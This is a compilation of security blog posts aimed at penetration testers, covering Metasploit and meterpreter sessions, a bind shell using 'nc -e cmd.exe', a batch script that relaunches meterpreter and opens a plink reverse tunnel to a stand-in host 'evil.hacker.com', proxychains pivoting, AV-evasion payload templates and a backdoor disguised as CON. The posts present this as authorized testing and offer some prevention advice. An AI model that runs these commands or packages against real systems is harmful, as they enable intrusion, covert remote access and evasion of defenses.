Back in Episode 170 Larry talked about talked about Reconnoiter. Reconnoiter was written by Jason Wood and it builds username list based upon linkedin.com profiles. After using the script on a recent penetration test I thought it would be nice if I also had a custom dictionary like those created by CeWL for each user at the company. So I wrote a script to create them and decided to share it with our listeners.

The intended use of userpass.py is to generate a customized password dictionary for every employee at a target company. You give it the name of your target company and it will give you a separate password file for each user at the company. In the demoes I target individuals rather than companies, but you get the idea.

We cover userpass.py on episode 206. So download it and give it a go. If you want to try it out, but you down have CeWL installed yet just add '-p "echo" ' to the end of your options.

Custom Per user password dictionaries from PaulDotCom on Vimeo.

Here is Jason Wood's script

Here is CeWL by Digininja

Join me in San Antonio for SANS 504 Hacker Techniques and Incident Response November 13-20th. Register Today

Hello Again

People have been asking me to show some basic metasploit and how you use it. I recently did a security show for the Michigan ISSA folks where we showed everyone how to use it. So I figured I would re-hash that as well as build on it to give you a good feel for what you can do. So I created a video (see below) and in the video I show you how to own a box, as well as different commands you can use and how they work. We will use the aurora exploit, with (and without) the meterpreter, keylogging, victim enumeration, timestomp (to mess with a forensic timeline), backdoors, and more!

Metasploit 101

*Be good, be safe, if you are going to hack, hack legally and responsibly...I'm Out!

Metasploit has A LOT of exploits, but from time to time you will very likely need to use exploits that are not part of the framework. Whether it is an exploit from www.exploit-db.com that spawns a shell or a netcat listener you can still use the framework to control the host. As long as you have a shell bound to a TCP port you can use metasploit to interact with that victim. What's more, you can upgrade that shell to a meterpreter session so you can benefit from the full power of the framework.

First, to connect to a shell bound to TCP port you will need to use the payload SHELL_BIND_TCP. This payload is significantly different from SHELL/BIND_TCP because it is a SINGLE payload rather than a STAGED payload. A staged payload is a small piece of code that allocates memory, opens network ports to communicate with the framework, downloads the remainder of the payload, then executes the rest of the payload. A staged payload is very small so it can easily fit in small buffers. It's size and limited functionality also give antivirus vendors very little to look at. SINGLE payloads on the other hand contain everything they need to execute on the victim. So, "nc -l -p 4444 -e cmd.exe" is functionally equivalent to SHELL_BIND_TCP.

To interact with a netcat listener all you need is the Multi/Handler exploit and the SINGLE_BIND_TCP payload. For example:

msf > set color false 

color => false 

msf > use multi/handler

msf exploit(handler) > set payload windows/shell_bind_tcp

payload => windows/shell_bind_tcp
msf exploit(handler) > set RHOST 192.168.100.17

RHOST => 192.168.100.17
msf exploit(handler) > exploit -z

[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.100.6:56131 -> 192.168.100.17:4444)
[*] Session 1 created in the background.

But, to take full advantage of the framework I want to use meterpreter. The framework can automatically take any command session and add a "METERPRETER/REVERSE_TCP" session to the host with the "SESSIONS -U" command. To use the option you will need to use "SETG" to set the LHOST and LPORT variables to point back to your host. Then use "sessions -u" to upgrade a session to meterpreter. The upgrade will leave the existing shell session in place and add a new meterpreter session. For example:

msf exploit(handler) > setg LHOST 192.168.100.6 LHOST => 192.168.100.6 

msf exploit(handler) > sessions -u 1

[*] Started reverse handler on 192.168.100.6:4444
[*] Starting the payload handler...
[*] Command Stager progress - 3.16% done (1694/53583 bytes)
[*] Command Stager progress - 6.32% done (3388/53583 bytes)
truncated
[*] Command Stager progress - 97.99% done (52506/53583 bytes)
[*] Sending stage (748032 bytes) to 192.168.100.17
[*] Command Stager progress - 100.00% done (53583/53583 bytes)
msf exploit(handler) > [*] Meterpreter session 2 opened (192.168.100.6:4444 -> 192.168.100.17:1032)

msf exploit(handler) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 shell 192.168.100.6:56131 -> 192.168.100.17:4444
2 meterpreter VICTIM\Administrator @ VICTIM 192.168.100.6:4444 -> 192.168.100.17:1032

msf exploit(handler) >

Now that you've got a meterpreter session type "RUN [tab] [tab]  " to look at all the meterpreter script goodness at your disposal! Still confused? Here is a video demo:

Using Metasploit to Control Netcat from PaulDotCom on Vimeo.

Mark Baggett is teaching SANS 504 in Raleigh NC June 21st -26th. SIGN UP TODAY!!

Also, SANS is sponsoring a Lunch and Learn COINS event in Raleigh on May 5th where I will do a presentation on the Metasploit framework.  Watch your inbox for an invitation to this event!

SSH is great! However, relying on password based authentication where the end user must decide whether or not to trust a new server crypto fingerprint can leave you open to attack. John Strand has put together an excellent video demonstrating how attackers can capture your SSH V1 and V2 passwords.

How do you fix this? Well, you can teach your users not to accept untrusted keys. Good luck with that. If you do that and it works, please contact me. I want to be your friend. Mere mortals should consider moving to something stronger than simple password based authentication. OpenSSH supports s/key one time passwords, RSA type authentication AND Kerberos!

In this post I'll show you how to make a resilient meterpreter session that is tunneled over SSH back to your penetration testing machine. Resilient in that it will monitor the tools running needed to give me access and relaunch them if needed. This is NOT the same as a persistent backdoor that survives a reboot and is typically not part of a penetration test. But it is resilient, so if I kill the processes accidentally, they will relaunch themselves. This also isn't stealth although it could be made to be. It is visible to the end user.

First, lets get a few things out of they way. WHY tunnel Meterpreter over SSH? My intention is not to avoid IDS, but it will help achieve that. Meterpreter avoids IDS just fine on its own although I think it may still be possible to detect meterpreter before it is fully loaded and secured with TLS.   But, if your trying to avoid IDS then tunneling over SSH isn't likely to hurt. Using SSH also allows me to add some authentication back to my host rather than just firewall rules on my Meterpreter console. Because I'm loading my servers SSH key on the client I am authenticating that the client is connecting to MY server. Of course this is easily manually bypassed, but my automated script will not connect if the server key does not match. Therefore I can say with confidence that the CD I leave in the parking lot will only connect that client back to my machine based. I've also verified that the meterpreter session coming in knows my ssh servers username and password.

Another advantage (that is not without risk) is that this configuration will allow you to do some name resolution for your tunnel. So if my pen-test machine is on an EVDO or other dynamic IP and it changes I can just update the DNS record and not the client tool. That is kind of nice.

Enough small talk, lets build a package containing a resilient meterpreter client that we can send into penetration testing clients environment on a USB or CDROM.

First I create an "AV resistant" copy of meterpreter as described here. 

Next I get a copy of PLINK.EXE which is part of the putty project here 

Next, connect to your SSH server once and export the registry key HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys. These are the keys you will need to import on the client so that PLINK can connect to your server without the SSH Fingerprint prompt.  In this case I exported that key and called it "storedSSHkey.reg"

Then I create a .BAT or .CMD file with the following commands in it.

Contents of PROCMON.CMD

regedit /s storedSSHkey.reg
for /L %%i in (1,0,2) do (wmic process WHERE name="metbind9999.exe" get name  | find "metbind9999" && echo "meterpreter is running" || start metbind9999.exe) & ( wmic process WHERE name="plink.exe" get name  | find "plink" && echo "plink running" || (start plink -R 9999:127.0.0.1:9999 -pw sshpass sshuser@evil.hacker.com)) & ping -n 5 127.0.0.1

This command script will first IMPORT the SSH key of our server into the registry of the clients machine so that when PLINK runs to connect back to our testing machine the SSH Fingerprint has already been accepted and the script will not pause indefinitely. In doing so, the client has validated the server its sending the shell to.

Next we start our FOR loop which resiliently relaunches the meterpreter process and the PLINK process if they die for some reason.

That is really all you need, but since we are going to build all the pieces anyway I like to include some other tools that I want to stage on the clients machine such as NCAT and a few others. Make sure your penetration testing agreement permits the installation of such tools.

I package all those tools up together along with the PROCMON.CMD file using iexpress.   (be sure to enable long name support or you'll need to rename all the files in the package to 8.3 format) The the package is ready to send to a penetration testing client.   Here is a video demonstrating the creation of the package and some process resiliency testing.

Persistent SSH tunneled Meterpreter from PaulDotCom on Vimeo.

Once the client has opened the package you will have a connection waiting for you on the port you have designated on your SSH server. In the example above it is listening on port 9999 on my SSH server. Then you can use the multi/handler to connect and use it.

msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(handler) > set LPORT 9999
LPORT => 9999
msf exploit(handler) > exploit

By Mark Baggett

Scenario: You are doing a penetration test. The client's internet face is locked down pretty well. No services are exposed externally and only HTTP/HTTPS are allowed OUT of the corporate firewall. You email in a carefully crafted email with the meterpreter attacked. An accommodating users is more than happy to click your attachment giving you meterpreter access to their machine. Now what? How about using Nessus to scan all the services on their internal network? Here is a tutorial on how to do it.

The Players
Attacker 172.16.186.132
Victim 172.16.186.126

Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. Joff Thyer, packet guru, crazy aussie and all around smart guy did a great job of outlining the install process on his blog. I pretty much just followed his instructions here.

Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the victim's machine. For example:

meterpreter> portfwd add -L 172.16.186.132 -l 8000 -r 172.16.186.128 -p 22

This command sets up a listener on port 8000 of the attacker's IP (172.16.186.132) and forwards packets to port 22 on the victim's machine (172.16.186.128).

Step 3 - SSH into the portfwd port you just created and setup a dynamic port forwarder on your machine. For example:

# ssh -D 127.0.0.1:9000 -p 8000 username@172.16.186.132

This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim.

Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of /etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows:

# proxychains /usr/sbin/nessusd -D

Step 5 - Start the nessus client and do you scan.

If you're not familiar with proxychains be sure to check out the post from last week.

Here is a video demo:

Nessus Scan through a Meterpreter Session from PaulDotCom on Vimeo.

Mark Baggett is teaching SANS 504 in Raleigh NC June 21st! Click here for more information.

By Mark Baggett

Proxychains is a Linux dynamically loadable library that will intercept any TCP and UDP traffic from a specific process and tunnel it over HTTP, SOCKS4 or SOCKS5 proxy. For this discussion I will be focusing on SOCKS4 proxies setup with the SSH -D parameter. Proxychains is already installed in Backtrack4 and configured to tunnel over a SOCKS4 listener on port 9050 on the local host. By default, proxychains uses the configuration file /etc/proxychains.conf. But Proxychains will look for a proxychains.conf file in the current working directory and use it if one exists. To illustrate how an attacker or penetration tester can use this powerful tool let us look at the following scenario. The attacker is attempting to gain access to the TARGET host at 10.10.1.2 on the following network. (Note the super 1337 Visio skills)

View image

The attacker brute forced valid credentials to the public SSH service on 192.168.100.13. Then they cracked passwords obtained from that machine and used them to find valid credentials on a second DMZ host at 192.168.100.15. That host, has two network cards and the second network interface straddles the corporate firewall and connect to the internal network where our target 10.10.1.2 sits. Note that for this attack to work the second host is not required to straddle the firewall, it just needs to have firewall rules in place that allow it to access the internal target.

The attacker starts his attack by connecting to the external SSH listener at 192.168.100.13 as follows:

View image

"-D 127.0.0.1:9050" causes a dynamic port forwarder to start on port 9050 of the attackers local host. Since the default proxychains.conf file already has an entry to proxy on port 9050 (tor's default) all the attacker has to do is launch a program and proceed it with "proxychains" and all its traffic will be shoveled to the host 192.168.100.13. If the attacker ran:

>proxychains wget localhost

They would get back the website listening on port 80 on host 192.168.100.13. But I want to bounce off that server and gain access to 192.168.100.15. So I could do this:

>proxychains ssh user@192.168.100.15

That would make an SSH connection into 192.168.100.15. On that host it would appear that the connection came from 192.168.100.13. In this case after I make the connection to 192.168.100.15 I really want to pivot a second time to get to the internal host. So I run the following:

View image

What is really awesome here is that this establishes a NEW dynamic port forwarder on the attackers localhost at port 8090. The attacker now has the multiple dynamic port forwarders listening on his host. The first port forwarder on 9050 takes him into 192.168.100.13 and the second on 8090 takes him to 192.168.100.15. The attacker can use proxychains again with a different configuration file to tunnel all the TCP and UDP packets from a program to execute on the second pivot point at 192.168.100.15. To do this I did the following:

>mkdir aconf
>cd aconf
>cat /etc/proxychains.conf | sed "s/127.0.0.1 9050/127.0.0.1 8090/g" > ./proxychains.conf

or you can use your favorite editor to change the port at the bottom of the configuration file. Then from the directory containing my new configuration file I ran this:

View image

Which started the NESSUS server daemon and allowed me to do a full vulnerability scan on the internal host. Nessusd worked great over proxychains! Nmap, Metasploit and others also worked well. To launch Metasploit using proxychains you'd simply run the following:

View image

Here is a quick video showing how quickly you pivot through hosts and capture the target.

SSH Gymnastics from PaulDotCom on Vimeo.

PREVENTION:
I hear you, "Dude... That is scary. How do I prevent this from happening?"
Well, first be sure to minimize the ports you open between hosts and don't have host that straddle your firewall. Second, you can turn off port forwarding in your sshd configuration files. Edit /etc/ssh/sshd_config and set "AllowTCPForwarding to NO". While your in there make all these changes. Remember that if an attacker has a shell they can install their own forwarders or use netcat so this is just one step in trying to preventing the host from being a relay. It does make the attacker job much harder when you turn off the DEFAULT mode of being a relay.

Additional References:
http://pauldotcom.com/2009/08/scanning-through-a-tor-network.html
http://netwarsplayers.googlegroups.com/web/SSH+Tunneling+In+The+Context+Of+Netwars.pdf
http://www.securityfocus.com/infocus/1816
http://proxychains.sourceforge.net/

Shout out to Jim Shewmaker and ace1 over at SANS Netwars. Ace1's excellent paper inspired me to take another look at proxychains.
Note: proxychains support CHAINS of proxies (imagine that). There is probably a more elegant way to do this using just one configuration file and a strict chain. Do you know how? Leave me a comment!

Mark Baggett is teaching SANS 504 in Raleigh NC June 21st! Click here for more information.

By Mark Baggett

Lets face it, security guys love their password protected screensavers. I am no exception. Without it, many users would likely never lock their computers. This simple mechanism may slow down or in some cases completely prevented the attacker from accessing resources on a remote machine. A strong password on a screensaver was one of the hurdles that you had to overcome in the Christmas 2008 Ethical Hacker challenge, "Santa Claus is hacking to town". Santa really could have used this script.

The Relentless-coding blog recently posted a meterpreter script that bypasses the screensaver password protection. The script patches the lsass process running in memory where the codes check the validity of the password that was entered. After the patch is applied the attacker can enter ANY password to unlock the screensaver. The script works on Windows XP SP2, SP3, Windows Vista and Windows 7. Lets take a look at the script in action:

Meterpreter Screensaver unlock script from PaulDotCom on Vimeo.

The script isn't currently part of the metasploit distribution so you'll need to download it from the Relentless-coding site. Save it to your "scripts/meterpreter" directory in your Metasploit installation. In a Backtrack installation you'll find that directory under "/pentest/exploits/framework3/scripts/meterpreter".

Mark Baggett is teaching SANS 504 in Raleigh NC June 21st! Click here for more information.

John Strand put together a great video showing how to use msfencode's -X parameter to specify a custom template into which you embed a metasploit payload. What does that mean? Any Window's executable can be used to carry any metasploit executable making it that much easier to avoid antivirus detection.

Back in the day, msfpayloads -x parameter read the template.exe from the /data/ directory and did a simple string replacement. msfpayload would look for the string "PAYLOAD:" in the binary and inserts the "RAW" encoded payload at that point in the binary. Creating custome templates required that you create your own templates containing the PAYLOAD string at the execution entry point. If you did create your own template that you want to continue to use because NO ONE detects it, msfencode will still support the old style template. If you want to use old style templates you can use an "undocumented" encoder type called "exe-small".. Set your -t output type to "exe-small" instead of "exe" to use the old style templates.

But that is a lot of work. Now, msfencode reads the PE header, finds a .text section in the executable and either prepends or appends (at random) the payload to the code. Then it modifies the entry point in the executable so that the payload is called before the programs normal code is executed.

Pretty cools stuff. Nice video John!

Mark Baggett is teaching SANS 504 in Raleigh NC June 21st! Click here for more information.

CON is a special device file on the Windows operating system. It's short for CONSOLE and can be used at the command line to redirect standard in and standard out. But beware, sometimes CON may not be a console. It might just be a backdoor.

Last Thursday Dan Crowley from Core Impact presented the technical segment on the podcast. Dan discussed his Shmoocon presentation on Windows File Pseudonyms and the many different ways you can address a file on a Windows NTFS partition. Dan covered several interesting ways to twist your filenames to avoid string based filters. I pulled several of them together to create a Windows filename obfuscation cheat sheet based largely on Dan's work. You can download the cheat sheet here.

Among the various windows pseudonyms Dan discussed the use of Windows devices such as CON, AUX, PRN and LPT1. These are reserved file names with a special purpose at the command prompt. Using these devices has been an interest of mine for some time. One interesting aspect of these devices is that they are not easily deleted or created.

Files that can not easily be deleted are interesting as an incident handler and as a penetration tester. If an attacker places these files on your drive you are going to have a hard time getting rid of them unless you know the trick that I'll show you here. So what does it take to create, delete and execute files that use these device names? Here is a quick demonstration video of how an attacker can disguise a backdoor as the CON device and avoid being deleted.

NOT A CON!!!! (it's a backdoor) from PaulDotCom on Vimeo.